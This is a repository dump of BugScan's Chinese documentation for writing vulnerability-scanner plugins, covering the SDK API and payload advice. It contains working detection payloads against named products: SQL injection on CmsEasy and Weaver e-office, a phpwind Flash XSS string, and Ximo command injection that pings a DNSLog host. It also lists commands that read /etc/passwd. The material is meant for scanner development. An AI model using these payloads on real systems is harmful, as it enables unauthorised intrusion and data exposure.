├── book.json ├── she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun.md ├── img └── 3-1.png ├── assets ├── 1111.png └── 2222.png ├── chapter1 ├── 1.md ├── 1-4.md ├── 1-3.md ├── 1-1.md └── 1-2.md ├── chapter2 ├── 2.md ├── 2-1.md ├── 2-2.md ├── 2-7.md ├── 2-5.md ├── 2-3.md ├── 2-4.md ├── 2-8.md └── 2-6.md ├── chapter3 ├── 3.md ├── 3-1.md ├── 3-2.md ├── 3-2-1.md ├── 3-1-3.md ├── 3-6.md ├── 3-1-2.md ├── 3-3.md └── 3-1-1.md ├── she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun ├── qi-ta-gui-fan-biao-zhun.md └── zi-yuan-ti-jiao-biao-zhun.md ├── README.md ├── .gitignore └── SUMMARY.md /book.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /img/3-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BugScanTeam/BugScan-Doc/HEAD/img/3-1.png -------------------------------------------------------------------------------- /assets/1111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BugScanTeam/BugScan-Doc/HEAD/assets/1111.png -------------------------------------------------------------------------------- /assets/2222.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BugScanTeam/BugScan-Doc/HEAD/assets/2222.png -------------------------------------------------------------------------------- /chapter1/1.md: -------------------------------------------------------------------------------- 1 | # 快速入门 2 | --- 3 | 4 | 本章节能帮您快速了解 BugScan 插件开发贡献流程,并且搭建 BugScan 开发环境。 5 | 6 | 下面就让我们开启这段短暂的旅程。 -------------------------------------------------------------------------------- /chapter2/2.md: -------------------------------------------------------------------------------- 1 | # API 说明 2 | --- 3 | 4 | 本章重点详细介绍 Bugscan SDK 中提供的相关方法 API 与 插件的格式。在插件开发过程中如果对 SDK 中提供的相关 API 有任何疑问,可以随时查阅相关说明。 5 | -------------------------------------------------------------------------------- /chapter3/3.md: -------------------------------------------------------------------------------- 1 | # 插件编写 Payload 建议 2 | --- 3 | 4 | 插件检测漏洞存在时,所选的 Payload 不只一个,但都应该遵守一个原则:**无损扫描**,即不得对目标系统直接或者间接造成损害。 5 | 6 | 为了方便开发者构造合适的 Payload,官方给出相关远程漏洞检测 Payload 构造参考建议,插件开发者可根据漏洞类型来构造合适的 Payload。 -------------------------------------------------------------------------------- /chapter1/1-4.md: -------------------------------------------------------------------------------- 1 | # 等待上线 2 | --- 3 | 4 | 插件提交后进入等待上线状态。插件一共有四种状态: 5 | 6 | * 上线的插件:审核通过并且已经可以立即调用该插件扫描 7 | * 下线的插件:暂时不可调用该插件 8 | * 审核中的插件:暂时不可调用该插件,需要经过管理员审核该插件 9 | * 私有的插件:私有插件仅作者自己的节点可以使用,不需要审核即可直接调用(高级账号拥有该功能) -------------------------------------------------------------------------------- /chapter3/3-1.md: -------------------------------------------------------------------------------- 1 | # SQL 注入类插件 2 | --- 3 | 4 | 1. 基于报错的 SQL 注入 5 | 6 | 这一类的也叫有回显注入,页面会返回错误信息,或者是把注入语句的结果直接返回在页面中。 7 | 8 | 2. 基于布尔的盲注 9 | 10 | 无回显但可以根据返回页面的结果判断构造的SQL条件语句的真假性 11 | 12 | 3. 基于时间的盲注 13 | 14 | 当根据页面返回的内容不能判断出任何信息时,使用条件语句查看时间延迟语句是否执行,也就是看页面返回时间是否增长来判断是否执行。 -------------------------------------------------------------------------------- /she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun/qi-ta-gui-fan-biao-zhun.md: -------------------------------------------------------------------------------- 1 | ### 资源审核安排 2 | 3 | 周一至周五当天17:00前提交的插件将于当晚审核。 4 | 5 | 周五17:00以后到周日17:00提交的插件将于周日当晚审核。 6 | 7 | 法定节假日将会视情况提前通知。 8 | 9 | ### 奖励发放安排 10 | 11 | 每周周一为发货日,在此时间点前已有备货的奖励将会直接发放。 12 | 13 | 未备货的商品根据运营小姐姐的安排,将会与下单人协商确定发货时间。 14 | 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BugScan 插件开发文档 2 | 3 | --- 4 | 5 | [BugScan](http://www.bugscan.net) 是西安四叶草信息技术有限公司旗下 BugScan 社区出品的国内首款基于社区的分布式漏洞扫描框架。 6 | 7 | Python实现引擎, 无任何依赖的第三方库,高效插件可用户自定义,用户独立使用框架,标准插件接口联动匹配框架,可以对内网的B/S架构实行精准的扫描...... 8 | 9 | 本文档旨在帮助漏洞插件社区开发者编写插件, 加入到漏洞插件社区中,成为我们的一员,体验自动化漏洞挖掘。 10 | 11 | 官网地址:[http://www.bugscan.net/](http://www.bugscan.net/) 12 | -------------------------------------------------------------------------------- /chapter1/1-3.md: -------------------------------------------------------------------------------- 1 | # 提交插件 2 | --- 3 | 4 | 在 BugScan 个人中心,点击提交插件,选择该插件所属分类,填写相关信息后点击提交按钮。 5 | 6 | **注意:提交时请认真填写相关信息,方便社区其它成员检索** 7 | 8 | 插件命名请严格遵守`组件名_[插件名]_[版本号]_存在漏洞的文件名_漏洞类型`, 如果`[]`中的内容为可选内容。 9 | 10 | 例如: 11 | 12 | * `CmsEasy_5.5_UTF-8_20140802_/celive/live/header.php_SQL注入漏洞` 13 | 14 | * `Wordpress Sell Download v1.0.16 /TheCartPress 1.4.7/Advanced uploader v2.10 本地文件路径泄露` 15 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Node rules: 2 | ## Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 3 | .grunt 4 | 5 | ## Dependency directory 6 | ## Commenting this out is preferred by some people, see 7 | ## https://docs.npmjs.com/misc/faq#should-i-check-my-node_modules-folder-into-git 8 | node_modules 9 | 10 | # Book build output 11 | _book 12 | 13 | # eBook build output 14 | *.epub 15 | *.mobi 16 | *.pdf 17 | .DS_* 18 | -------------------------------------------------------------------------------- /chapter2/2-1.md: -------------------------------------------------------------------------------- 1 | # 插件模版 2 | --- 3 | 4 | 以下内容为 BugScan 插件的模版: 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # -*- coding: utf-8 -*- 9 | 10 | # assign 验证任务的指纹 11 | def assign(service, arg): 12 | if service == fingerprint.cmseasy: # 指纹为 cmseasy,需要根据实际修改 13 | return True, arg 14 | 15 | # audit 审计函数,通过指纹验证后调用该函数 16 | def audit(arg): 17 | # 在此写下你的代码... 18 | 19 | # 本地测试时需要加 main 用于调用 20 | if __name__ == '__main__': 21 | from dummy import * 22 | audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1]) 23 | 24 | ``` 25 | 26 | **开发者可以使用自定义函数,但必须声明 assign 函数 和 audit 函数。** -------------------------------------------------------------------------------- /chapter1/1-1.md: -------------------------------------------------------------------------------- 1 | # 环境配置 2 | --- 3 | 4 | ### 1. 安装 Python 5 | 6 | Bugscan 平台插件基于 Python 2.7.x 开发,开发者首先需要下载并安装 Python。[Python 下载地址](https://www.python.org/downloads/) 7 | 8 | ### 2. 下载 BugScan SDK 9 | 10 | Bugscan SDK 提供了相关的 API,下载并解压 SDK。[SDK 下载地址](http://img.bugscan.net/bin/sdk.zip) 11 | 12 | ### 3. 安装 13 | 14 | 进入 SDK 目录,使用 pip 安装 SDK: 15 | 16 | ``` 17 | $ cd sdk 18 | $ pip install . 19 | ``` 20 | 21 | 或者也可以手动将 SDK 中的 dummy 目录拷贝到 Python 安装目录下的 `site-packages` 目录下 22 | 23 | ### 4. 验证 24 | 25 | 在终端下打开 python 并输入 26 | 27 | ``` 28 | >>> from dummy import * 29 | >>> print Bugscan 30 | https://www.bugscan.net/ 31 | ``` 32 | 33 | 如无错误则环境搭建成功 34 | -------------------------------------------------------------------------------- /chapter3/3-2.md: -------------------------------------------------------------------------------- 1 | # XSS 类插件 2 | --- 3 | 4 | 1. Flash XSS 5 | 6 | 这一类的 XSS 主要是由于 Flash 与 Js 交互过程中产生的 XSS。 7 | 8 | 2. 反射型 XSS 9 | 10 | 发出请求时,XSS 的代码出现在 URL 中,作为输入提交到服务端,服务端解析过数据之后,在响应中出现这段 XSS 代码,最后由浏览器解析服务端响应后执行。整个过程,看起来很像一次反射,所以叫作反射型 XSS。 11 | 12 | **由于此类 XSS 检测误报率太高,官方暂时不收录该类插件** 13 | 14 | 3. 存储型 XSS 15 | 16 | 存储型 XSS 和 反射型 XSS 仅有的区别就是提交的 XSS 代码会永久地存储在服务器上,这其中包括存储在数据库,文件系统,或者内存,下次请求的时候,不需要再输入 XSS 代码。最典型的存储型 XSS 就是留言板 XSS,攻击者在留言中插入 XSS 代码,然后提交到服务器存储起来,当目标用户在查看留言时,从数据库中取出攻击代码在展示的时候就触发了 XSS。 17 | 18 | **由于此类 XSS 检测时无法做到无损扫描,官方暂时不收录该类插件** 19 | 20 | 4. DOM 型 XSS 21 | 22 | DOM XSS 与前两者在差别,就在于 DOM XSS 的代码不需要服务器的直接参与,可以认为完全是客户端的事。 23 | 24 | **由于此类 XSS 检测时与 3,4 两类有较大重叠,官方暂时不收录该类插件** -------------------------------------------------------------------------------- /chapter2/2-2.md: -------------------------------------------------------------------------------- 1 | # assign 2 | --- 3 | 4 | 判断 BugScan 框架传入的服务类型,避免做不必要的扫描,**该方法为插件首个被调用的函数,插件中必须声明此函数**。 5 | 6 | ``` 7 | assign(service, arg) 8 | ``` 9 | 10 | ### 参数 11 | 12 | * **service** 13 | 14 | 插件要扫描的服务名(指纹名),如果无该 CMS 指纹时,该插件不会被调用。 15 | 16 | 使用形式为 `fingerprint.服务名`,具体参见 [Service 与 arg 说明](2-8.md),**必选** 17 | 18 | * **arg** 19 | 20 | 对应的 Service 共同约定的参数,对于一般的 CMS 来说,值为域名,具体参见 [Service 与 arg 说明](2-8.md) 21 | 22 | ### 返回值 23 | 24 | 如果 Service 验证不成功,无返回值 25 | 26 | 如果验证成功,则返回的类型为 tuple,长度为 2 27 | 28 | 例子: 29 | 30 | `discuz` 插件的 assign 函数: 31 | 32 | ``` 33 | def assign(service, arg): 34 | if service == fingerprint.discuz: 35 | return True, arg 36 | ``` 37 | 38 | * 返回值第一个参数为 bool 类型,用于判断验证状态 39 | 40 | * 返回值第二个参数为 arg,用于传递 arg 到 audit 函数 41 | 42 | ### 范例 43 | 44 | 用友 U8 插件的 assign 函数: 45 | 46 | ``` 47 | def assign(service, arg): 48 | if service == fingerprint.yongyou_u8: 49 | return True, arg 50 | ``` 51 | -------------------------------------------------------------------------------- /chapter2/2-7.md: -------------------------------------------------------------------------------- 1 | # task_push 2 | --- 3 | 4 | > 新增加一个扫描任务,该方法会调用所有插件的 assign 函数 5 | 6 | ``` 7 | task_push(servie, arg, uuid=None, target=None) 8 | ``` 9 | 10 | ### 参数 11 | 12 | * **service** 13 | 14 | 要推送的服务名,fingerprint.服务名,具体参见 [Service 和 arg 说明](./2-8.md),**必选** 15 | 16 | 使用范例: 17 | 18 | 生成一个子任务,调用所有 Service 为 `discuz` 的插件,扫描 `http://www.vul.com/`: 19 | 20 | ``` 21 | task_push(fingerprint.discuz, 'http://www.vul.com/') 22 | ``` 23 | 24 | * **arg** 25 | 26 | 要推送的参数,类型自定义,取决于对应的 Service 共同约定的参数形式,具体可查看[Service 和 arg 说明](./2-8.md)。 27 | 28 | 使用范例: 29 | 30 | 1.推送 `discuz` 服务扫描任务, `discuz` 服务中对应的 arg 为 一个 URL 地址: 31 | 32 | ``` 33 | task_push(fingerprint.discuz, 'http://www.vul.com/index.php') 34 | ``` 35 | 2.推送 `ssh` 服务扫描, `ssh` 服务中对应的 arg 为一个开放 SSH 服务的 IP 地址: 36 | 37 | ``` 38 | task_push(fingerprint.ssh, '127.0.0.1') 39 | ``` 40 | 41 | * **uuid** 42 | 43 | 此任务的唯一标识,防止重复,如果不指定,系统将自动生成一个 UUID 44 | 45 | * **target** 46 | 47 | 新生的任务产生的报告所属的域名,如果不指定则为父域名 48 | 49 | ### 返回值 50 | 51 | 无 52 | 53 | -------------------------------------------------------------------------------- /chapter2/2-5.md: -------------------------------------------------------------------------------- 1 | # report 2 | --- 3 | 4 | > 插件通过以下四个函数来与扫描器通信,生成扫描结果报告。 5 | 6 | ``` 7 | security_note(str, [uuid=None, log=None]) 8 | ``` 9 | 10 | 信息通知,该函数在扫描报告中为绿色 11 | 12 | ``` 13 | security_info(str, [uuid=None, log=None]) 14 | ``` 15 | 16 | 低危报告,该函数在扫描报告中为蓝色 17 | 18 | ``` 19 | security_warning(str, [uuid=None, log=None]) 20 | ``` 21 | 中危报告,该函数在扫描报告中为黄色 22 | 23 | ``` 24 | security_hole(str, [uuid=None, log=None]) 25 | ``` 26 | 27 | 高危报告,该函数在扫描报告中为红色 28 | 29 | ### 参数 30 | 31 | * **str** 32 | 33 | 要输出的信息,类型为 String, 如果没有特殊信息,建议直接输入 URL。**必选** 34 | 35 | * **uuid** 36 | 37 | 此任务的唯一标识,防止重复,如果不指定,系统将自动生成一个 UUID,如无特殊需要,可不指定。 38 | 39 | * **log** 40 | 41 | HTTP 请求详细信息,内容**必须**为 hackhttp 返回的第 5 个参数。 42 | 43 | **注意:warning 和 hole 级别必须传递该值** 44 | 45 | > 如果在插件中有多次使用 hackhttp ,则只需要传递触发漏洞的那次请求的 log。 46 | > 47 | > 如:上传文件时,有两次请求,第一次是上传文件,第二次是验证文件是否上传成功,则在报告时只要传递第一次的 log。 48 | 49 | eg: 50 | 51 | ``` 52 | code, head, html, redirect_url, log = hackhttp.http(url) 53 | security_hole("Hole Info", log=log) 54 | ``` 55 | 56 | ### 返回值 57 | 58 | 无 59 | 60 | ### 范例 61 | 62 | 报告中输出 "127.0.0.1:6379" 这个字符串: 63 | 64 | ``` 65 | code, head, html, redirect_url, log = hackhttp.http(url) 66 | security_hole("127.0.0.1:6379", log=log) 67 | ``` 68 | 69 | 在 BugScan 扫描结果中,该信息会显示在提交的插件名称下。 -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * [BugScan 插件开发文档](README.md) 4 | * [快速入门](chapter1/1.md) 5 | * [环境配置](chapter1/1-1.md) 6 | * [编写插件](chapter1/1-2.md) 7 | * [提交插件](chapter1/1-3.md) 8 | * [等待上线](chapter1/1-4.md) 9 | * [API 说明](chapter2/2.md) 10 | * [插件模版](chapter2/2-1.md) 11 | * [assign](chapter2/2-2.md) 12 | * [audit](chapter2/2-3.md) 13 | * [hackhttp](chapter2/2-4.md) 14 | * [report](chapter2/2-5.md) 15 | * [util](chapter2/2-6.md) 16 | * [task\_push](chapter2/2-7.md) 17 | * [Service 与 arg 说明](chapter2/2-8.md) 18 | * [插件编写 Payload 建议](chapter3/3.md) 19 | * [SQL 注入类插件](chapter3/3-1.md) 20 | * [报错和有回显类插件](chapter3/3-1-1.md) 21 | * [布尔盲注类插件](chapter3/3-1-2.md) 22 | * [时间盲注类插件](chapter3/3-1-3.md) 23 | * [XSS 类插件](chapter3/3-2.md) 24 | * [Flash XSS](chapter3/3-2-1.md) 25 | * Reflect XSS 26 | * Stored XSS 27 | * DOM XSS 28 | * [文件上传类](chapter3/3-3.md) 29 | * 文件下载/读取类 30 | * XXE 类 31 | * [命令执行类](chapter3/3-6.md) 32 | * 文件包含类 33 | * DOS 类 34 | * 越权访问类 35 | * 弱口令类 36 | * 信息收集类 37 | * 插件编写实例教程 38 | * 插件编写技巧 39 | * 用户登录 40 | * [社区资源审核及奖励标准](she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun.md) 41 | * [资源提交标准](she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun/zi-yuan-ti-jiao-biao-zhun.md) 42 | * [审核及奖励发放时间](she-qu-zi-yuan-shen-he-ji-jiang-li-biao-zhun/qi-ta-gui-fan-biao-zhun.md) 43 | 44 | -------------------------------------------------------------------------------- /chapter1/1-2.md: -------------------------------------------------------------------------------- 1 | # 编写插件 2 | --- 3 | 4 | ### 1. 编写 5 | 6 | 开发者在本地编写插件代码,以下为 [CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞](http://wooyun.org/bugs/wooyun-2010-070827) 的扫描插件。 7 | 8 | ``` 9 | #!/usr/bin/env python 10 | # -*- coding: utf-8 -*- 11 | # __author__ = 'Medici.Yan' 12 | # 引入需要用到的标准库 13 | import urllib 14 | 15 | # assign 验证任务的指纹 16 | def assign(service, arg): 17 | if service == fingerprint.cmseasy: # 指纹为 cmseasy 18 | return True, arg # 返回类型为 tuple 19 | 20 | # audit 审计函数,通过指纹验证后调用该函数 21 | def audit(arg): 22 | # 此插件中 arg 为提交的网址 23 | # 构造要提交数据的目标 URL 24 | target = arg + '/celive/live/header.php' 25 | # 此漏洞要发送的 POST 数据(Payload) 26 | post_data = { 27 | 'xajax': 'LiveMessage', 28 | 'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat(" 29 | "floor(rand(0)*2),(select md5(233)))a from " 30 | "information_schema.tables group by a)b)," 31 | "'','','','1','127.0.0.1','2') #" 32 | } 33 | # 通过 hackhttp 发送 Payload 到目标 34 | code, head, body, redirect_url, log = hackhttp.http( 35 | target, post=urllib.urlencode(post_data)) 36 | # 验证是否存在漏洞 37 | if 'e165421110ba03099a1c0393373c5b43' in body: 38 | # 存在漏洞则输出目标 URL 39 | security_hole(target, log=log) 40 | 41 | # 本地测试时需要加 main 用于调用 42 | if __name__ == '__main__': 43 | # 导入 sdk 44 | from dummy import * 45 | # 调用 audit 与 assign 46 | audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1]) 47 | 48 | ``` 49 | 50 | **读者暂时无需关注插件编写具体内容,我们会在后面的章节中详细讲解如何编写。** 51 | 52 | ### 2. 测试 53 | 54 | 将编写好的插件保存,例如文件名叫 `demo.py`, 直接在终端下运行该文件。如果存在漏洞,则会终端上会有 [LOG] 信息输出。 55 | -------------------------------------------------------------------------------- /chapter3/3-2-1.md: -------------------------------------------------------------------------------- 1 | # Flash XSS 2 | --- 3 | 4 | 这一类的 XSS 主要是由于 Flash 与 Js 交互过程中产生的 XSS。 5 | 6 | **检测方法**:校验 flash 的 hash 值(例如: md5) 7 | 8 | #### 实例: 9 | 10 | [phpwind 9.0 /res/js/dev/util_libs/swfupload/Flash/swfupload.swf XSS漏洞](http://wooyun.org/bugs/wooyun-2013-017731) 11 | 12 | 由于 Flash 文件是可以下载到客户端,所以直接下载该 swf 文件,校验其 hash。根据漏洞详情,可知该 swf 文件路径为: `/res/js/dev/util_libs/swfupload/Flash/swfupload.swf`。 13 | 14 | **范例插件**: 15 | 16 | [PHPWind 9.0 swfupload.swf Flash XSS](http://www.bugscan.net/source/plugin/2538/template/) 17 | 18 | > 感谢插件作者: [xyw55](http://www.bugscan.net/accounts/template/profile/#/611) 19 | 20 | ``` 21 | #!/usr/bin/env python 22 | # coding:utf-8 23 | # @Date : 2015-06-28 24 | # @Author : xyw55 (xyw5255@163.com) 25 | 26 | ''' 27 | phpwind 9.0 /res/js/dev/util_libs/swfupload/Flash/swfupload.swf xss漏洞 POC 28 | refer : http://wooyun.org/bugs/wooyun-2013-017731 29 | ''' 30 | import md5 31 | 32 | 33 | def assign(service, arg): 34 | if service == fingerprint.phpwind: 35 | return True, arg 36 | 37 | def audit(arg): 38 | flash_md5 = "3a1c6cc728dddc258091a601f28a9c12" 39 | file_path = "/res/js/dev/util_libs/swfupload/Flash/swfupload.swf" 40 | url = arg 41 | verify_url = url + file_path 42 | 43 | code, head, res, redirect_url, log = hackhttp.http(verify_url) 44 | if code == 200: 45 | md5_value = md5.new(res).hexdigest() 46 | if md5_value in flash_md5: 47 | # info 中不要传 log 48 | security_info(url + ' phpwind Reflected XSS; plaload: /res/js/dev/util_libs/swfupload/Flash/swfupload.swf?movieName="])}catch(e){alert(1)}//') 49 | 50 | 51 | if __name__ == '__main__': 52 | from dummy import * 53 | audit(assign(fingerprint.phpwind, 'http://www.example.com/')[1]) 54 | 55 | ``` -------------------------------------------------------------------------------- /chapter2/2-3.md: -------------------------------------------------------------------------------- 1 | # audit 2 | --- 3 | 4 | 审计函数,该方法为插件继 assign 函数后被调用的函数,在 assign 中判断当前扫描服务与该插件对应的服务相等后,便会调用该插件的 audit 函数。**插件中必须声明此方法**。如果插件中逻辑较为复杂,开发者可自行封装方法,并在 audit 中调用执行即可。 5 | 6 | 7 | ``` 8 | audit(arg) 9 | ``` 10 | 11 | ### 参数 12 | 13 | * **arg** 14 | 15 | 该插件所对应的 Service 共同约定的参数,一般为一个经过过滤的链接,具体参数格式可参考 assign 函数中 arg 参数。 16 | 17 | 18 | ### 返回值 19 | 20 | 无。如果检测到存在漏洞,则直接使用 security_info 等报告方法直接输出漏洞报告。 21 | 22 | 23 | ### 范例 24 | 25 | 以下为 [CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞](http://wooyun.org/bugs/wooyun-2010-070827) 的扫描插件。该漏洞为报错注入,如果 Payload 执行成功,则会在返回页面中显示执行成功的 md5(233) 的值。 26 | 27 | ``` 28 | #!/usr/bin/env python 29 | # -*- coding: utf-8 -*- 30 | # __author__ = 'Medici.Yan' 31 | # 引入需要用到的标准库 32 | import urllib 33 | 34 | # assign 验证任务的指纹 35 | def assign(service, arg): 36 | if service == fingerprint.cmseasy: # 指纹为 cmseasy 37 | return True, arg # 返回类型为 tuple 38 | 39 | # audit 审计函数,通过指纹验证后调用该函数 40 | def audit(arg): 41 | # 此插件中 arg 为提交的网址 42 | # 构造要提交数据的目标 URL 43 | target = arg + '/celive/live/header.php' 44 | # 此漏洞要发送的 POST 数据(Payload) 45 | post_data = { 46 | 'xajax': 'LiveMessage', 47 | 'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat(" 48 | "floor(rand(0)*2),(select md5(233)))a from " 49 | "information_schema.tables group by a)b)," 50 | "'','','','1','127.0.0.1','2') #" 51 | } 52 | # 通过 hackhttp 发送 Payload 到目标 53 | code, head, body, errcode, redirect_url = hackhttp.http( 54 | target, post=urllib.urlencode(post_data)) 55 | # 验证是否存在漏洞 56 | if 'e165421110ba03099a1c0393373c5b43' in body: 57 | # 存在漏洞则输出目标 URL 58 | security_hole(target) 59 | 60 | # 本地测试时需要加 main 用于调用 61 | if __name__ == '__main__': 62 | # 导入 sdk 63 | from dummy import * 64 | # 调用 audit 与 assign 65 | audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1]) 66 | 67 | ``` -------------------------------------------------------------------------------- /chapter3/3-1-3.md: -------------------------------------------------------------------------------- 1 | # 时间盲注类插件 2 | --- 3 | 4 | 这一类的注入在返回页面中没有回显,但可以根据返回页面的结果判断构造的SQL条件语句的真假性。 5 | 6 | #### 实例 7 | 8 | **范例插件**: 9 | 10 | ``` 11 | #!/usr/bin/env python 12 | # -*- coding: utf-8 -*- 13 | 14 | def assign(service, arg): 15 | if service == fingerprint.weaver_e_office: 16 | return True, arg 17 | 18 | def time_sql(arg): 19 | payload = "%20AND%20SLEEP%285%29" 20 | url = arg+"E-mobile/source_page.php?pagediff=email=9" 21 | start_time = time.time() 22 | ture_code, head, res, final_url, log= hackhttp.http(url) 23 | ture_time = time.time()- start_time 24 | start_time = time.time() 25 | false_code, head, res, final_url, log= hackhttp.http(url+payload,timeout=30) 26 | false_time = time.time()- start_time 27 | if false_code == 200 and ture_code ==200 and false_time -ture_time >4: 28 | return url,log,True 29 | 30 | def audit(arg): 31 | check = True 32 | for i in xrange(3): 33 | if check: 34 | res = time_sql(arg) 35 | check = check and res[2] 36 | if check: 37 | security_hole(res[0], log=res[1]) 38 | 39 | if __name__ == '__main__': 40 | from dummy import * 41 | audit(assign(fingerprint.weaver_e_office, "http://localhost/")[1]) 42 | 43 | 44 | ``` 45 | 46 | 47 | ### MySQL 数据库 48 | 49 | **方法**:使用 `sleep()` 函数达到延时。 50 | 51 | 其 SQL 语句原型类似: 52 | 53 | ``` 54 | SELECT IF(1=1, sleep(5), "1"); 55 | SELECT IF(1=2, sleep(5), "1"); 56 | ``` 57 | 58 | ### MSSQL 数据库 59 | 60 | **方法**:使用 `waitfor delay` 达到延时。 61 | 62 | 其 SQL 语句原型类似: 63 | 64 | ``` 65 | waitfor delay '0:0:5' 66 | ``` 67 | 68 | ### Oracle 数据库 69 | 70 | **方法**:`receive_message` 函数用于接收管道消息,并将接收到的消息写入到本地消息缓冲区。当接收完管道信息之后,会删除管道消息,管道消息只能被接收一次。 71 | 72 | ``` 73 | AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 74 | ``` 75 | 76 | `receive_message` 语法: 77 | 78 | ``` 79 | dbms_pipe.receive_message(pepename in varchar2,timeout in integer default maxwait) return integer; 80 | ``` 81 | 82 | 其中,返回 0 接收成功,返回 1 超时,返回 2 本地缓冲区不能容纳管道消息,返回 3 发生中断。 83 | -------------------------------------------------------------------------------- /chapter3/3-6.md: -------------------------------------------------------------------------------- 1 | # 命令执行类 2 | --- 3 | 4 | 命令执行类,根据其输出情况可分两种,有回显和无回显(命令盲注)。根据目标运行的操作系统类型,大致分为 Windows 类和 Unix 类。在编写插件的时候,主要是根据有无回显来分类,并兼容两类操作系统。 5 | 6 | * 有回显类 7 | 8 | 编写该类插件检测思路为,直接在页面中输出某条有代表性的命令的执行结果。原则上不能对目标系统造成任何破坏。 9 | 10 | 例如: 11 | 12 | * 输出当前的环境变量(Linux: `echo $PATH`, Windows: `echo %path%`) 13 | * 输出某个固定文件的内容(Linux: `/etc/passwd`, Windows: `C:\Windows\win.ini`) 14 | * 其它 15 | 16 | * 无回显类 17 | 18 | 无回显类命令执行后返回结果不得而知,大大增加了检测难度,检测主要有两种方式: 19 | 20 | * 延时检测 21 | 22 | 与时间盲注类似,利用返回包时间来判断。Linux 下通过 `sleep 5` 来实现延时5秒; 23 | Windows 可以通过 `ping localhost -n 5` 来实现延时5秒。 24 | **该方法对异步命令执行类漏洞无效**。 25 | 26 | * 利用 DNSLog 检测(**推荐**) 27 | 28 | DNSLog 用于监测 DNS 和 HTTP 访问记录,可通过命令执行,让目标主机主动 29 | 请求 DNSLog API 地址,有相应的解析记录,则可判定为存在命令执行漏洞。 30 | 通常使用 ping 命令。Linux 下还可使用 `wget`, `curl` 等有网络请求功能的命令。 31 | **该方法对无任何外网访问权限的目标无效**。 32 | 33 | 34 | **范例插件** 35 | 36 | [西默科技 /cgi-bin/rulectl 命令执行漏洞检测](http://www.bugscan.net/source/plugin/4204/template/) 37 | 38 | > 感谢插件作者: [上善若水](http://www.bugscan.net/accounts/template/profile/#/3255) 39 | 40 | ``` 41 | #!/usr/bin/env python 42 | # -*- coding:utf-8 -*- 43 | # Refer http://www.wooyun.org/bugs/wooyun-2016-0179411 44 | # __Author__ = 上善若水 45 | # _PlugName_ = ximo_rce Plugin 46 | # _FileName_ = ximo_rce.py 47 | 48 | 49 | def assign(service, arg): 50 | if service == fingerprint.ximo: 51 | return True, arg 52 | 53 | 54 | def audit(arg): 55 | # 生成一个 hash 前缀 56 | hashstr = dnslog.create_hashstr() 57 | # 根据开发者的 udomain 生成需要请求的域名地址 58 | target = dnslog.create_dns_url(hashstr) 59 | # 构造命令执行的 Payload 60 | # 本漏洞中使用 ping 命令(注意限制ping次数) 61 | url = arg + "/cgi-bin/rulectl?woo||ping%20-c%203%20{target}".format( 62 | target=target) 63 | # 发送 Payload 到目标 64 | code, head, res, rurl, log = hackhttp.http(url) 65 | # 检查是否有 DNS 解析 66 | if dnslog.check_dns_log(hashstr): 67 | security_hole(url, log=log) 68 | 69 | 70 | if __name__ == '__main__': 71 | from dummy import * 72 | audit(assign(fingerprint.ximo, "http://www.example.com/")[1]) 73 | 74 | ``` 75 | 76 | ### 使用 DNSLog 检测步骤 77 | 78 | 1. 生成一个随机的 hash 前缀 79 | 2. 根据开发者的 udomain 生成需要请求的域名地址 80 | 3. 构造命令执行的 Payload 81 | 4. 利用命令执行漏洞执行 Payload 82 | 5. 检查是否有 DNS 解析 83 | 84 | 85 | ### 命令执行常用命令 86 | 87 | * 查看文件内容 88 | 89 | Linux: 90 | 91 | ``` 92 | cat /etc/passwd 93 | ``` 94 | 95 | Windows: 96 | 97 | ``` 98 | type c:\windows\win.ini 99 | ``` 100 | 101 | * 使用 ping 命令 102 | 103 | Linux: 104 | 105 | ``` 106 | ping -c 3 xxxx.test.dnslog.link 107 | ``` 108 | 109 | Windows: 110 | 111 | ``` 112 | ping xxx.text.dnslog.link -n 3 113 | ``` 114 | -------------------------------------------------------------------------------- /chapter3/3-1-2.md: -------------------------------------------------------------------------------- 1 | # 布尔盲注类插件 2 | --- 3 | 4 | 这一类的注入在返回页面中没有回显,但可以根据返回页面的结果判断构造的SQL条件语句的真假性。 5 | 6 | ### MySQL 数据库 7 | 8 | **方法**:构造布尔表达式来影响返回结果集。 9 | 10 | 其 SQL 语句原型类似: 11 | 12 | ``` 13 | select * from table where 1=1; 14 | select * from table where 1=2; 15 | select * from table where 1>2; 16 | select IF(1=1, 1, 2); 17 | select IF(1=2, 1, 2); 18 | select IF('a'='a', 1, 2); 19 | ``` 20 | 21 | #### 实例 22 | 23 | [MetInfo 5.3 /include/global/listmod.php SQL 注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-0119166): 24 | 25 | **请求的目标 URL**: 26 | 27 | ``` 28 | # 表达式值为真,返回有数据的页面 29 | http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4343 -- x&imgproduct=xxxx 30 | 31 | # 表达式为假,返回无数据的页面 32 | http://127.0.0.1/MetInfo/news/news.php?lang=cn&class2=5&serch_sql=123qwe where 4343=4342 -- 